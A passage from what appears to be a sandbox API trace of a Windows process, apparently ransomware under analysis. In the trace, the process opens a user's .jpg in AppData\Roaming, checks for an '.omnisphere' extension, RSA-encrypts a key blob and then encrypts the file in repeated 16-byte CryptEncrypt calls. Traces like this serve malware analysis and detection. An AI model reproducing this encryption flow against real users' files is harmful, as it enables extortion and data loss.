nFileSizeLow=0x628a, dwReserved0=0x0, dwReserved1=0xed, cFileName="tiIa0efX69B.jpg", cAlternateFileName="TIIA0E~1.JPG")) returned 1 [0068.948] GetProcessHeap () returned 0x1600000 [0068.948] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x1649e70 [0068.948] PathCombineW (in: pszDest=0x1649e70, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="tiIa0efX69B.jpg" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\tiIa0efX69B.jpg") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\tiIa0efX69B.jpg" [0068.948] StrStrW (lpFirst=".omnisphere", lpSrch=".jpg") returned 0x0 [0068.948] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\tiIa0efX69B.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\tiia0efx69b.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0068.948] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=25226) returned 1 [0068.948] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x5d66, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0068.948] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0068.948] GetTickCount () returned 0x1151847 [0068.948] GetTickCount () returned 0x1151847 [0068.948] GetTickCount () returned 0x1151847 [0068.948] GetTickCount () returned 0x1151847 [0068.948] GetTickCount () returned 0x1151847 [0068.948] GetTickCount () returned 0x1151847 [0068.948] GetTickCount () returned 0x1151847 [0068.948] GetTickCount () returned 0x1151847 [0068.949] GetTickCount () returned 0x1151847 [0068.949] GetTickCount () returned 0x1151847 [0068.949] GetTickCount () returned 0x1151847 [0068.949] GetTickCount () returned 0x1151847 [0068.949] GetTickCount () returned 0x1151847 [0068.949] GetTickCount () returned 0x1151847 [0068.949] GetTickCount () returned 0x1151847 [0068.949] GetTickCount () returned 0x1151847 [0068.949] GetTickCount () returned 0x1151847 [0068.949] GetTickCount () returned 0x1151847 [0068.949] GetTickCount () returned 0x1151847 [0068.949] GetTickCount () returned 0x1151847 [0068.949] GetTickCount () returned 0x1151847 [0068.949] GetTickCount () returned 0x1151847 [0068.949] GetTickCount () returned 0x1151847 [0068.949] GetTickCount () returned 0x1151847 [0068.949] GetTickCount () returned 0x1151847 [0068.949] GetTickCount () returned 0x1151847 [0068.949] GetTickCount () returned 0x1151847 [0068.949] GetTickCount () returned 0x1151847 [0068.949] GetTickCount () returned 0x1151847 [0068.949] GetTickCount () returned 0x1151847 [0068.949] GetTickCount () returned 0x1151847 [0068.949] GetTickCount () returned 0x1151847 [0068.949] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x163c520) returned 1 [0068.950] CryptImportKey (in: hProv=0x163c520, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x1639a28) returned 1 [0068.950] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0068.950] CryptDestroyKey (hKey=0x1639a28) returned 1 [0068.950] CryptReleaseContext (hProv=0x163c520, dwFlags=0x0) returned 1 [0068.950] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x628a, lpName=0x0) returned 0x3a4 [0068.950] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x628a) returned 0x3430000 [0068.951] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x163c520) returned 1 [0068.951] CryptImportKey (in: hProv=0x163c520, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x1639568) returned 1 [0068.951] CryptSetKeyParam (hKey=0x1639568, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0068.951] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0068.951] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.951] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.951] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.951] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.951] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.951] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.952] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.953] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.954] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.954] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.954] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.954] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.954] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.954] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.954] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.954] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.954] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.954] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.954] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.954] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.954] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.954] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.954] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.954] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.954] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.954] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.954] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.954] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.954] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.954] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.954] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.955] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.955] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.955] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.955] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.955] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.955] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.955] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.955] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.955] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.955] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.955] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.955] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.955] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.955] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.955] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.955] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.955] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, 